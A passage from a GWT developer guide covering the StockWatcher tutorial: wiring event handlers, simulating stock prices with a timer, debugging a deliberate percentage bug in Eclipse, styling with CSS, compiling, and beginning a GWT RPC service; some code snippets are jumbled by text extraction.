/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // Associate the Main panel with the HTML host page. RootPanel.get("stockList").add(mainPanel); // Move cursor focus to the input box. newSymbolTextBox.setFocus(true); // Listen for mouse events on the Add button. addStockButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { addStock(); } });
/** * Add stock to FlexTable. Executed when the user clicks the addStockButton or * presses enter in the newSymbolTextBox. */ private void addStock() { // TODO Auto-generated method stub } }
64 / 469
Implementation Note: For smaller applications, such as StockWatcher, that handle relatively few events, using anonymous inner classes gets the job done with minimal coding. However, if you have large number of event handlers subscribing to events, this approach can be inefficient because it could result in the creation of many separate event handler objects. In that case, it's better to have a class implement the event handler interface and handle events coming from multiple event publishers. You can distinguish the source of the event by calling its getSource() method. This makes better use of memory but requires slightly more code. For a code example, see the Developer's Guide, Event Handlers.
Eclipse flags KeyPressHandler and suggests you include the import declaration. 2. Include the import declarations.
import com.google.gwt.event.dom.client.KeyCodes; import com.google.gwt.event.dom.client.KeyPressEvent; import com.google.gwt.event.dom.client.KeyPressHandler;
The event handlers are now wired up and ready for an event. Your next step is to fill out the stub addStock method.
65 / 469
3.2.4.3.
At this point, StockWatcher should be listening for user input, a mouse or keyboard event that signals the user has entered a stock code. So next you'll test whether or not the event handler interfaces are working by coding the response that StockWatcher should make when it detects an event: add the stock. StockWatcher responds on the client side without sending any requests back to server or reloading the HTML page.
Eclipse flags Window and suggests you include the import declaration. 2. Include the import declaration.
import com.google.gwt.user.client.Window;
66 / 469
3.2.4.4.
At this point you should be able to enter text in the input box. If you use an illegal character, a dialog box should pop up and display a warning. Try it and see. 1. Test event handling in development mode. Press Refresh in the already open browser. 2. Test that both event handler interfaces work. Enter stock codes in the input box. Enter using both methods, by pressing return and by using the mouse to click on the Add button. At this point, the stock is not added to the table. However, the input box should clear so that you can add another stock. 3. Test the validity checking and error message. Make some typos that include illegal characters.
Tip: Changes made to your Java code are immediately shown in the browser after pressing refresh. If development mode is already running, you don't need to restart it. Just click the Refresh button in your browser to reload your updated GWT code. Although you have not compiled StockWatcher yet, you can test it in production mode here: Run StockWatcher
67 / 469
3.2.5.
At this point, you've built the user interface from GWT widgets and panels and wired in the event handlers. StockWatcher accepts input but it doesn't yet add the stock to the stock table or update any stock data. In this section, you'll finish implementing all of StockWatcher's client-side functionality. Specifically, you'll write the code to the following: 1. Add and remove stocks from the stock table. 2. Refresh the Prices and Change fields for each stock in the table. 3. Implement the timestamp showing the time of last update. Your initial implementation of StockWatcher is simple enough that your can code all its functionality on the client side. Later you'll add calls to the server to retrieve the stock data.
3.2.5.1.
Your first task is to add the stock code and a Remove button to the stock table. Remember, the FlexTable will automatically resize to hold the data, so you don't have to worry about writing code to handle that. A. B. C. D. Create a data structure. Add rows to the stock table. Add a button to remove stocks from the stock table. Test in development mode.
2. Eclipse flags ArrayList and suggests you include the import declaration. 3. Include the import declaration.
import java.util.ArrayList;
68 / 469
2. If the stock doesn't exist, add it. In the addStock method, replace the TODO comment with this code.
// Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); stocksFlexTable.setText(row, 0, symbol);
When you call the setText method, the FlexTable automatically creates new cells as needed; therefore, you don't need to resize the table explicitly.
Now you'll tackle that last TODO: get the stock price.
3.2.5.2.
The most important feature of StockWatcher is updating the prices of the stocks the users are watching. If you were writing StockWatcher using traditional web development techniques, you would have to rely on full page reloads every time you wanted to update the prices. You could accomplish this either manually (making the user click the browser's Refresh button) or automatically (for example, using a <meta http-equiv="refresh" content="5"> tag in the HTML header). But in this age of Web 2.0, that's simply not efficient enough. StockWatcher's users want their stock price updates and they want them now...without waiting for a full page refresh. 69 / 469
In this section, you'll: A. B. C. D. E. Automatically refresh the Price and Change fields by implementing a timer and specifying a refresh rate. Encapsulate the stock price data by creating a class, StockPrice. Generate the stock data for the Price and Change fields by implementing the refreshWatchList method. Load the Price and Change fields with the stock data by implementing the updateTable method. Test the random generation of stock prices and change values
public void onModuleLoad() { ... // Move cursor focus to the text box. newSymbolTextBox.setFocus(true); // Setup timer to refresh list automatically. Timer refreshTimer = new Timer() { @Override public void run() { refreshWatchList(); } }; refreshTimer.scheduleRepeating(REFRESH_INTERVAL); ... }
Eclipse flags Timer, REFRESH_INTERVAL and refreshWatchList. 2. Declare the import for Timer. If you are using Eclipse shortcuts, be sure to select the GWT Timer.
import com.google.gwt.user.client.Timer;
3. Specify the refresh rate. If you are using Eclipse shortcuts, select Create constant 'REFRESH_INTERVAL' then specify the refresh interval in milliseconds, 5000. Otherwise, just cut and paste from the highlighted code below.
public class StockWatcher implements EntryPoint { private static final int REFRESH_INTERVAL = 5000; // ms private VerticalPanel mainPanel = new VerticalPanel();
4. Populate the price and change values as soon as a new stock is added. In the addStock method, replace the TODO comment with the highlighted code.
70 / 469
private void addStock() { ... // Add a button to remove a stock from the table. Button removeStockButton = new Button("x"); removeStockButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { int removedIndex = stocks.indexOf(symbol); stocks.remove(removedIndex); stocksFlexTable.removeRow(removedIndex + 1); } }); stocksFlexTable.setWidget(row, 3, removeStockButton); // Get the stock price. refreshWatchList(); }
Eclipse flags refreshWatchList. 5. In the StockWatcher class, create a stub for the refreshWatchList method.
private void refreshWatchList() { // TODO Auto-generated method stub }
71 / 469
72 / 469
73 / 469
/**
* Generate random stock prices. */ private void refreshWatchList() { final double MAX_PRICE = 100.0; // $100.00 final double MAX_PRICE_CHANGE = 0.02; // +/- 2% StockPrice[] prices = new StockPrice[stocks.size()]; for (int i = 0; i < stocks.size(); i++) { double price = Random.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (Random.nextDouble() * 2.0 - 1.0); prices[i] = new StockPrice(stocks.get(i), price, change); } } updateTable(prices);
1. Implement the method updateTable(StockPrices[]). Replace the stub with the following code.
/**
* Update the Price and Change fields all the rows in the stock table. * * @param prices Stock data for all rows. */ private void updateTable(StockPrice[] prices) { for (int i = 0; i < prices.length; i++) { updateTable(prices[i]); } }
Eclipse flags updateTable. Create a stub for the updateTable(StockPrice) method. 2. Implement the method updateTable(StockPrice). Replace the stub with the following code.
74 / 469
/**
* Update a single row in the stock table. * * @param price Stock data for a single row. */ private void updateTable(StockPrice price) { // Make sure the stock is still in the stock table. if (!stocks.contains(price.getSymbol())) { return; } int row = stocks.indexOf(price.getSymbol()) + 1; // Format the data in the Price and Change fields. String priceText = NumberFormat.getFormat("#,##0.00").format( price.getPrice()); NumberFormat changeFormat = NumberFormat.getFormat("+#,##0.00;-#,##0.00"); String changeText = changeFormat.format(price.getChange()); String changePercentText = changeFormat.format(price.getChangePercent()); // Populate the Price and Change fields with new data. stocksFlexTable.setText(row, 1, priceText); stocksFlexTable.setText(row, 2, changeText + " (" + changePercentText + "%)"); }
3.2.5.3.
The final piece of functionality you need to implement is the timestamp. You used a Label widget, lastUpdatedLabel, to create the timestamp in the UI. Now set the text for the Label widget. Add this code to the updateTable(StockPrice[]) method. A. Implement the timestamp. In the updateTable(StockPrice[]) method, copy and paste the highlighted code.
/** * Update the Price and Change fields all the rows in the stock table. * * @param prices Stock data for all rows. */ private void updateTable(StockPrice[] prices) { for (int i = 0; i < prices.length; i++) { updateTable(prices[i]); } // Display timestamp showing last refresh. lastUpdatedLabel.setText("Last update : " + DateTimeFormat.getMediumDateTimeFormat().format(new Date())); }
75 / 469
C. Test the timestamp. Save your changes. In the browser, press Refresh to load the changes. The timestamp label should be displayed beneath the stock table. As the Price and Change fields refresh, the timestamp should display the date and time of the last update. Implementation Note: You may have noticed that the classes DateTimeFormat and NumberFormat live in a subpackage of com.google.gwt.i18n, which suggest that they deal with internationalization in some way. And indeed they do: both classes will automatically use your application's locale setting when formatting numbers and dates. You'll learn more about localizing and translating your GWT application into other languages in the tutorial Internationalizing a GWT Application.
A Bug
For the sake of this tutorial, we introduced an error into the code. Can you detect it? Look at the change percentages. Don't they seem a bit small? If you do the math, you'll discover that they appear to be exactly an order of magnitude smaller than they should be. There's an arithmetic error hiding somewhere in the StockWatcher code. Using the tools provided by GWT and your Java IDE, your next step is to find and fix the error.
3.2.6.
At this point, you've finished implementing the StockWatcher UI and all its client-side functionality. However, you've noticed that there is an error in the Change field. The percentage of change is not calculating correctly. In this section, you'll use Eclipse to debug your Java code while running StockWatcher in development mode. 1. Find the bug. 2. Fix the bug. 3. Test the bug fix by running StockWatcher in development mode.
Benefits
You can debug the Java source code before you compile it into JavaScript. This GWT development process help you take advantage of the debugging tools in your Java IDE. You can: Set break points. Step through the code line by line. Drill down in the code. Inspect the values of variables. Display the stack frame for suspended threads.
One of attractions of developing in JavaScript is that you can make changes and see them immediately by refreshing the browserwithout having to do a slow compilation step. GWT development mode provides the exact same development cycle. You do not have to recompile for every change you make; that's the whole point of development mode. Just click "Refresh" to see your updated Java code in action.
76 / 469
3.2.6.1.
Looking at the values in the Price and Change fields, you can see that, for some reason, all of the change percentages are only 1/10 the size of the correct values. The values for the Change field are loaded by the updateTable(StockPrice) method.
/** * Update a single row in the stock table. * * @param price Stock data for a single row. */ private void updateTable(StockPrice price) { // Make sure the stock is still in the stock table. if (!stocks.contains(price.getSymbol())) { return; } int row = stocks.indexOf(price.getSymbol()) + 1; // Format the data in the Price and Change fields. String priceText = NumberFormat.getFormat("#,##0.00").format( price.getPrice()); NumberFormat changeFormat = NumberFormat.getFormat("+#,##0.00;-#,##0.00"); String changeText = changeFormat.format(price.getChange()); String changePercentText = changeFormat.format(price.getChangePercent()); // Populate the Price and Change fields with new data. stocksFlexTable.setText(row, 1, priceText); stocksFlexTable.setText(row, 2, changeText + " (" + changePercentText + "%)");
Just glancing at the code, you can see that the value of the changePercentText variable is being set elsewhere, in price.getChangePercent. So, first set a breakpoint on that line and then drill down to determine where the error in calculating the change percentage is.
77 / 469
Eclipse switches to Debug perspective. 2. Run the code that has the error. To run the code in the updateTable method where you suspect the error, just add a stock to the stock list in the browser running in development mode. Execution will stop at the first breakpoint. 3. Check the values of the variables priceText and changeText. In the Eclipse Debug perspective, look at the Variables pane. 4. Run the code to the next break point, where priceText is set. In the Debug pane, press the Resume icon. 5. Check the values of the variables priceText, changeText, changePercentText. In the Eclipse Debug perspective, look at the Variables pane. If you like, double-check the math to see the error.
6. Loop back to the first break point, where changePercentText is set. In the Debug pane, press the Resume icon.
Looking at the getChangePercent method, you can see the problem: it's multiplying the change percentage by 10 instead of 100. That corresponds exactly with the output you saw before: all of the change percentages were only 1/10 the size of the correct values.
3.2.6.2.
Fix the error in calculating the percentage of the price change. In StockPrice.java, edit the getChangePercent method.
78 / 469
Tip: In Eclipse, if you find it easier to edit in the Java perspective rather than the Debug perspective, you can switch back and forth while running StockWatcher in development mode.
3.2.6.3.
At this point when you enter a stock code, the calculation of the Change field should be accurate. Try it and see. 1. In Eclipse, toggle all the breakpoints off and press Resume. 2. In the browser running in development mode, press Refresh. 3. Add a stock. 4. Check the calculation of the value in the Change field.
3.2.7.
At this point, StockWatcher is functional. Now you want to give it some visual style.
In this section, you'll: 1. 2. 3. 4. 5. 6. 7. Associate style sheets with the project. Change the theme. Create a secondary style. Create a dependent secondary style. Update styles dynamically. Set an element's HTML attributes Add images or other static HTML elements.
Benefits of CSS
GWT provides very few Java methods directly related to style. Rather, we encourage you to define styles in Cascading Style Sheets. When it comes to styling web applications, CSS is ideal. In addition to cleanly separating style from application logic, this division of labor helps applications load and render more quickly, consume less memory, and even makes them easier to tweak during edit/debug cycles because there's no need to recompile for style tweaks. 79 / 469
3.2.7.1.
Two style sheets are already associated with the StockWatcher project. a theme style sheet, standard.css: where the GWT default styles are defined the application style sheet, StockWatcher.css: where you define the specific styles for StockWatcher
When you used webAppCreator to create StockWatcher, it created the application style sheet (StockWatcher.css). It also referenced the theme in the GWT module. 1. Open the GWT module, StockWatcher/src/com/google/gwt/sample/stockwatcher/StockWatcher.gwt.xml. Notice that the Standard theme is being used by default.
<?xml version="1.0" encoding="UTF-8"?> <module rename-to='stockwatcher'> <!-- Inherit the core Web Toolkit stuff. <inherits name='com.google.gwt.user.User'/> <!-- Inherit the default GWT style sheet. You can change <!-- the theme of your GWT application by uncommenting <!-- any one of the following lines. <inherits name='com.google.gwt.user.theme.standard.Standard'/> <!-- <inherits name="com.google.gwt.user.theme.chrome.Chrome"/> <!-- <inherits name="com.google.gwt.user.theme.dark.Dark"/> <!-- Other module inherits
<!-- Specify the app entry point class. --> <entry-point class='com.google.gwt.sample.stockwatcher.client.StockWatcher'/> </module>
80 / 469
Whichever method you choose, you can associate one or more application style sheets with your project. They cascade in the order they are listed, just as they do in an HTML document. For StockWatcher, you'll follow the preferred strategy. Rather than put links to the style sheets in the HTML host page, you'll use the module XML file. Then, when you compile StockWatcher, the GWT compiler will bundle all the static resources required to run your application including the style sheets. This mechanism is called Automatic Resource Inclusion. In most cases, it is the better strategy because the style sheet will follow your module wherever it is used in new contexts, no matter what HTML host page you embed it in. As you get into more complex development, you will want to reuse or share modules. Shared modules do not include a host page and therefore, you cannot guarantee the availability of the application style sheet unless you use Automatic Resource Inclusion. If you have a case where you want whatever host page your module is embedded in to dictate the styles for its widgets, then don't include the style sheet in the module XML file.
3.2.7.2.
GWT ships with three themes: Standard, Chrome, and Dark. The Standard theme is selected by default when the GWT module is created. Each application can use only one theme at a time. However, if you have an existing style or you prefer to design one from scratch, you don't have to use any theme at all. Take a moment to see what the other themes look like. Change the theme from Standard to Dark. 1. In StockWatcher.gwt.xml, comment out the line referencing the Standard theme. Eclipse shortcut: Source > Toggle Comment. 2. Uncomment the line referencing the Dark theme. Eclipse shortcut: Source > Toggle Comment.
<!-- Inherit the default GWT style sheet. You can change --> <!-- the theme of your GWT application by uncommenting --> <!-- any one of the following lines. --> <!-- <inherits name='com.google.gwt.user.theme.standard.Standard'/> --> <!-- <inherits name="com.google.gwt.user.theme.chrome.Chrome"/> --> <inherits name="com.google.gwt.user.theme.dark.Dark"/>
3. Test the change. Save your changes to the StockWatcher.gwt.xml file. If development mode is still running, terminate it and then relaunch StockWatcher. For StockWatcher, you are going to build on the Standard theme. So after you've played around to see how themes work, set the theme back to Standard. Note: GWT themes also come in RTL (right-to-left) versions to support languages written from right-to-left, such as Arabic. To use a right-to-left theme, append RTL to the theme name. <inherits name='com.google.gwt.user.theme.standard.StandardRTL'/>
81 / 469
For the StockWatcher application, you'll focus mostly on the second approach: you'll learn to append a secondary style.
3.2.7.3.
Tip: You can look up the name of the style rule (the CSS selector) for each widget by accessing the GWT API Reference via the Widget Gallery. GWT takes advantage of the fact that you can associate multiple classes with an HTML element so that you can specify a style for a specific GWT-generated element and not affect others of the same type. In this section, you'll learn how to set the secondary class on a GWT-generated HTML element.
82 / 469
However, GWT elements are created dynamically at runtime. So you'll set the HTML class attributes in the Java source using the addStyleName method. You'll specify the row (the header is row 0) and the name of the secondary class, watchListHeader. 1. In StockWatcher.java, in the onModuleLoad method, add a secondary style to the header row in the stock table.
public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Add styles to elements in the stock list table. stocksFlexTable.getRowFormatter().addStyleName(0, "watchListHeader");
2. Save your changes to StockWatcher.java and then press Refresh in the browser running development mode to see them. The the header row in the flex table displays white italic headings against a blue background.
83 / 469
2. Apply the style. In StockWatcher.java, add a secondary class attribute to the stock flex table.
// Add styles to elements in the stock list table. stocksFlexTable.getRowFormatter().addStyleName(0, "watchListHeader"); stocksFlexTable.addStyleName("watchList");
3. Save your changes and then press Refresh in the browser running development mode to see them. The stock list table has a silver border.
2. Apply the style. In StockWatcher.java, add a secondary class attribute to both the Price and Change fields.
// Add styles to elements in the stock list table. stocksFlexTable.getRowFormatter().addStyleName(0, "watchListHeader"); stocksFlexTable.addStyleName("watchList"); stocksFlexTable.getCellFormatter().addStyleName(0, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 2, "watchListNumericColumn");
3. Save your changes and then press Refresh in the browser running development mode to see them. The Price and Change columns have a set width and the text in the header row is right-aligned.
84 / 469
2. Apply the style. In StockWatcher.java, add a secondary class attribute to the Remove field.
// Add styles to elements in the stock list table. stocksFlexTable.getRowFormatter().addStyleName(0, "watchListHeader"); stocksFlexTable.addStyleName("watchList"); stocksFlexTable.getCellFormatter().addStyleName(0, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 2, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 3, "watchListRemoveColumn");
3. Save your changes and then press Refresh in the browser running development mode to see them. The caption takes up the entire width of the field. You'll be able to see that the buttons are centered in the Remove column after you format the data rows in the next step.
Apply the same cell formatting to the rows that hold the stock data
You've formatted the header row of the flex table, which is displayed when StockWatcher starts up. Remember, however, that in a flex table, the rows holding the stocks aren't created until the user adds a stock to the list. Therefore, you will add the code for formatting the stock data in the addStock method rather than in the onLoad method. 1. You have already defined the style in StockWatcher.css. 2. Apply the style. In StockWatcher.java, in the addStock method, add secondary class attribute to the table cells in the Price, Change, and Remove columns.
// Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); stocksFlexTable.setText(row, 0, symbol); stocksFlexTable.getCellFormatter().addStyleName(row, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(row, 2, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(row, 3, "watchListRemoveColumn");
3. Save your changes and then press Refresh in the browser running development mode to see them. Add stocks to the list. The Price and Change data is right-aligned. The Remove button is centered.
85 / 469
/* stock list Remove column */ .watchListRemoveColumn { text-align: center; } /* Add Stock panel */ .addPanel { margin: 10px 0px 15px 0px; }
2. Apply the style. In StockWatcher.java, in the onModuleLoad method add a secondary class attribute to the addPanel.
// Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); addPanel.addStyleName("addPanel");
3. Save your changes and then press Refresh in the browser running development mode to see them. The margin between the stock table and the Add Stock panel has increased.
Summary of Changes
Here the summary of the changes we've done so far.
86 / 469
Changes to StockWatcher.css
/* Formatting specific to the StockWatcher application */ body { padding: 10px; } /* stock list header row */ .watchListHeader { background-color: #2062B8; color: white; font-style: italic; } /* stock list flex table */ .watchList { border: 1px solid silver; padding: 2px; margin-bottom:6px; } /* stock list Price and Change fields */ .watchListNumericColumn { text-align: right; width:8em; } /* stock list Remove column */ .watchListRemoveColumn { text-align: center; } /* Add Stock panel */ .addPanel { margin: 10px 0px 15px 0px; }
87 / 469
3.2.7.4.
Next you want to change the style of the Remove button. The Remove button inherits its style from the Button widget. Default styles for all GWT Button widgets are defined by GWT in standard.css.
<button class="gwt-Button tabindex="0" type="button">x</button> .gwt-Button { background:transparent url(images/hborder.png) repeat-x scroll 0px -27px; border:1px outset #CCCCCC; cursor:pointer; font-size:small; margin:0pt; padding:3px 5px; text-decoration:none; }
For StockWatcher, you want your style change to apply only to the Remove button. So you'll do just as you've been doing: add a secondary style to the Remove button element. But this time, you'll make the secondary style dependent on the primary style. Dependent styles are powerful because they are automatically updated whenever the primary style name changes. In contrast, secondary style names that are not dependent style names are not automatically updated when the primary style name changes. To do this, you'll use the addStyleDependentName method instead of the addStyleName method. 1. Define the style rule.
/* Add Stock panel */ .addPanel { margin: 10px 0px 15px 0px; } /* stock list, the Remove button */ .gwt-Button-remove { width: 50px; }
2. Apply the style. In StockWatcher.java, use addStyleDependentName to add a secondary, dependent class attribute to the Remove button.
// Add a button to remove this stock from the table. Button removeStockButton = new Button("x"); removeStockButton.addStyleDependentName("remove");
3. Save your changes and then press Refresh in the browser running development mode to see them. The Remove button is wider than it is tall. The Add button is unaffected by this change. 4. Now the resulting generated HTML has two class attributes.
<button class="gwt-Button gwt-Button-remove" tabindex="0" type="button">x</button>
88 / 469
3.2.7.5.
The final style change you want to implement is changing the color of the price change. If the stock price goes up, StockWatcher displays it in green; down, in red; no change, in black. This is the one style that changes dynamically as StockWatcher runs. You've already applied an HTML class attribute to the cell element to right-align the numeric values inside the cells. To keep the code simple, it would be nice if you could apply the HTML class attributes just to the text inside the cell. An easy way to do this would be to use a nested widget. In this case, you'll insert a Label widget inside every cell inside column 2. 1. Define the style. In StockWatcher.css, add these style rules.
/* stock list, the Remove button */ .gwt-Button-remove { width: 50px; } /* Dynamic color changes for the Change field */ .noChange { color: black; } .positiveChange { color: green; } .negativeChange { color: red; }
2. Insert a Label widget in a table cell. In StockWatcher.java, in the addStock method, create a Label widget for every cell in column 2.
// Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); stocksFlexTable.setText(row, 0, symbol); stocksFlexTable.setWidget(row, 2, new Label()); stocksFlexTable.getCellFormatter().addStyleName(row, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(row, 2, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(row, 3, "watchListRemoveColumn");
Instead of setting the text on the table cells, now you have to set the text for the Label widget. 3. Set text on the changeWidget. In the updateTable(StockPrice) method, delete the call to setText for the Change column (column 2). Create an instance of the Label widget and call it changeWidget. Set the text on changeWidget.
// Populate the Price and Change fields with new data. stocksFlexTable.setText(row, 1, priceText); stocksFlexTable.setText(row, 2, changeText + " (" + changePercentText + "%)"); Label changeWidget = (Label)stocksFlexTable.getWidget(row, 2); changeWidget.setText(changeText + " (" + changePercentText + "%)");
89 / 469
5. Save your changes and then press Refresh in the browser running development mode to see them. The color of the values in the Change field are red, green, or black depending on whether the change was negative, positive, or none.
3.2.7.6.
Occasionally, you do want to set style attributes directly on an HTML element rather than define a style rule in CSS. For example, the HTML table element has a cellpadding attribute that is convenient for setting the padding on all the cells in the table. In GWT, depending on the HTML element, you can set some attributes in the Java code to generate the appropriate HTML. 1. Specify the cellpadding for the stock table. In StockWatcher.java, in the onModuleLoad method, add the setCellPadding method.
public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Add styles to elements in the stock list table. stocksFlexTable.setCellPadding(6);
2. Save your changes and then press Refresh in the browser running development mode to see them.
3.2.7.7.
Your application's HTML host page can include whatever additional static HTML elements you require. For example, in StockWatcher, you'll add the Google Code logo. To include images, put them in the project's public directory. The GWT compiler will copy all the necessary files to the output directory for deployment. To include static images in the application. 1. Create an directory to hold the image files associated with this application. In the war directory, create an images directory.
StockWatcher/war/images
2. From this page, copy the image of the logo and paste it into the images directory.
StockWatcher/war/images/GoogleCode.png
90 / 469
Note: HTML comments have been omitted for brevity. 4. Save your changes and then press Refresh in the browser running development mode to see them. In Depth: For more information on including style sheets, JavaScript files, and other GWT modules, see the Developer's Guide, Automatic Resource Inclusion.
91 / 469
3.2.8.
At this point, your initial implementation of StockWatcher is complete. So far, you've been running StockWatcher in development mode. In development mode you can see the effect of your code changes immediately and use your IDE's debugging tools. After you compile StockWatcher, you can run and test it in production mode. When an application runs in production mode, it exists as pure JavaScript but does not require any browser plugins or the Java Virtual Machine (JVM). In this section, you'll: 1. Compile the Java source code. 2. Test StockWatcher in production mode. 3. Deploy StockWatcher to a web server. You'll also learn about deferred binding, GWT's mechanism for serving just the code required depending on browser or, optionally, other factors such as locale.
3.2.8.1.
To compile the Java source code to JavaScript, you'll use the GWT compiler.
3.2.8.2.
After the application is compiled, you can run it in production mode by opening StockWatcher.html in a new browser window. StockWatcher looks and behaves just as it did in development mode. The real difference is hidden under the covers. When you interact with StockWatcher now, it's executing JavaScript code in the browser, not Java bytecode in the JVM. Tip: If you launched the development mode server, you can run your application in production mode (after compiling it) by removing the gwt.codesvr parameter from the URL before loading the application.
92 / 469
3.2.8.3.
At this point, you could deploy StockWatcher to a public web server simply by uploading the files in the output directory. This initial version does not need to communicate with the server in any way; therefore, it does not require anything special on the part of the web server. Any server that can serve up static web pages will do just fine.
Compiler Output
Take a look at the files generated by the GWT compiler. In the output directory StockWatcher/war/stockwatcher, you see a set of files similar to this:
14A43CD7E24B0A0136C2B8B20D6DF3C0.cache.png 29F4EA1240F157649C12466F01F46F60.gwt.rpc 34BCFF35CB8FD43BCBFC447B883BCADC.cache.html 52BE5EB1FD9F0C2659714EE874E24999.cache.html 548CDF11D6FE9011F3447CA200D7FB7F.cache.png 667F52D77BB3D008A2A6A484569C3C35.cache.html 9DA92932034707C17CFF15F95086D53F.cache.png A7CD51F9E5A7DED5F85AD1D82BA67A8A.cache.png B8517E9C2E38AA39AB7C0051564224D3.cache.png CC9E2ADC408F47959407F6440C301B88.cache.html DF6EEF5BB835EE6FD9BBA5E092B0C429.cache.html clear.cache.gif gwt hosted.html stockwatcher.nocache.js
In addition to the static resources in StockWatcher/war (such as the HTML host page, style sheet, and images directory), notice the other file names contain GUIDs. These files contain the various JavaScript implementations of StockWatcher. GWT generates multiple implementations of your application, a unique permutation for each supported web browser.
93 / 469
3.3.
Client-Server Communication
All GWT applications run as JavaScript code in the end user's web browser. Frequently, though, you'll want to create more than just a standalone client-side application. Your application will need to communicate with a web server, sending requests and receiving updates. Each time traditional web applications talk to the web server, they fetch a completely new HTML page. In contrast, AJAX applications offload the user interface logic to the client and make asynchronous calls to the server to send and receive only the data itself. This allows the UI of an AJAX application to be much more responsive and fluid while reducing an application's bandwidth requirements and the load on the server. At this point, you've created the initial implementation of the StockWatcher application, simulating stock data in the clientside code. In the following three tutorials, you will learn how to retrieve the stock data from a server. Note: For a broader guide to client-server communication in a GWT application, see Communicate with a Server.
could ruin the end-user experience. You can perform other work while waiting on a pending server call. For example, you can build up your user interface while simultaneously retrieving the data from the server to populate the interface. This shortens the overall time it takes for the user to see the data on the page. You can make multiple server calls at the same time. However, just how much parallelism you can add using asynchronous calls is limited because browsers typically restrict the number of outgoing network connections to two at a time.
If you are new to AJAX development, the hardest thing to get used to about asynchronous calls is that the calls are nonblocking. However, Java inner classes go a long way toward making this manageable. For more information on making asynchronous calls, see the Developer's Guide, Getting Used to Asynchronous Calls
3.3.1.
GWT RPC
At this point, you've created the initial implementation of the StockWatcher application, simulating stock data in the clientside code. In this section, you'll make a GWT remote procedure call to a server-side method which returns the stock data. The server-side code that gets invoked from the client is also known as a service; the act of making a remote procedure call is referred to as invoking a service. You'll learn to: 1. 2. 3. 4. Create a service on the server. Invoke the service from the client. Serialize the data objects. Handle exceptions: checked and unexpected.
Note: For a broader guide to RPC communication in a GWT application, see Communicate with a Server - Remote Procedure Calls.
95 / 469
Important: GWT RPC services are not the same as web services based on SOAP or REST. They are simply as a lightweight method for transferring data between your server and the GWT application on the client. To compare single and multi-tier deployment options for integrating GWT RPC services into your application, see the Developer's Guide, Architectural Perspectives.
In order to define your RPC interface, you need to write three components: 1. Define an interface (StockPriceService) for your service that extends RemoteService and lists all your RPC methods. 2. Create a class (StockPriceServiceImpl) that extends RemoteServiceServlet and implements the interface you created above. 3. Define an asynchronous interface (StockPriceServiceAsync) to your service to be called from the client-side code. A service implementation must extend RemoteServiceServlet and must implement the associated service interface. Notice that the service implementation does not implement the asynchronous version of the service interface. Every service implementation is ultimately a servlet, but rather than extending HttpServlet, it extends RemoteServiceServlet instead. RemoteServiceServlet automatically handles serialization of the data being passed between the client and the server and invoking the intended method in your service implementation.
96 / 469
3.3.1.1.
Creating a service
In this tutorial, you are going to take the functionality in the refreshWatchList method and move it from the client to the server. Currently you pass the refreshWatchList method an array of stock symbols and it returns the corresponding stock data. It then calls the updateTable method to populate the FlexTable with the stock data.
updateTable(prices);
To create the service, you will: 1. define the service interface: StockPriceService 2. implement the service: StockPriceServiceImpl
97 / 469
Implementation Note: Notice the @RemoteServiceRelativePath annotation. This associates the service with a default path relative to the module base URL.
98 / 469
2. Replace the TODO with the following code. Return prices rather than null.
public StockPrice[] getPrices(String[] symbols) { Random rnd = new Random(); StockPrice[] prices = new StockPrice[symbols.length]; for (int i=0; i<symbols.length; i++) { double price = rnd.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (rnd.nextDouble() * 2f - 1f); } } prices[i] = new StockPrice(symbols[i], price, change);
return prices;
Eclipse flags Random and suggests you include the import declaration. 3. Include the import declaration from java.util, not from com.google.gwt.user.client.
import java.util.Random;
Implementation Note: Remember the service implementation runs on the server as Java bytecode, so you can use any Java class or library without worrying about whether it's translatable to JavaScript. In this case, you can use the Random class from the Java runtime library (java.util.Random) instead of the emulated GWT version (com.google.gwt.user.client.Random). 4. This listing shows the completed StockPriceServiceImpl class.
package com.google.gwt.sample.stockwatcher.server; import com.google.gwt.sample.stockwatcher.client.StockPrice; import com.google.gwt.sample.stockwatcher.client.StockPriceService; import com.google.gwt.user.server.rpc.RemoteServiceServlet; import java.util.Random; public class StockPriceServiceImpl extends RemoteServiceServlet implements StockPriceService { private static final double MAX_PRICE = 100.0; // $100.00 private static final double MAX_PRICE_CHANGE = 0.02; // +/- 2% public StockPrice[] getPrices(String[] symbols) { Random rnd = new Random(); StockPrice[] prices = new StockPrice[symbols.length]; for (int i=0; i<symbols.length; i++) { double price = rnd.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (rnd.nextDouble() * 2f - 1f); prices[i] = new StockPrice(symbols[i], price, change); } } } return prices;
99 / 469
3.3.1.2.
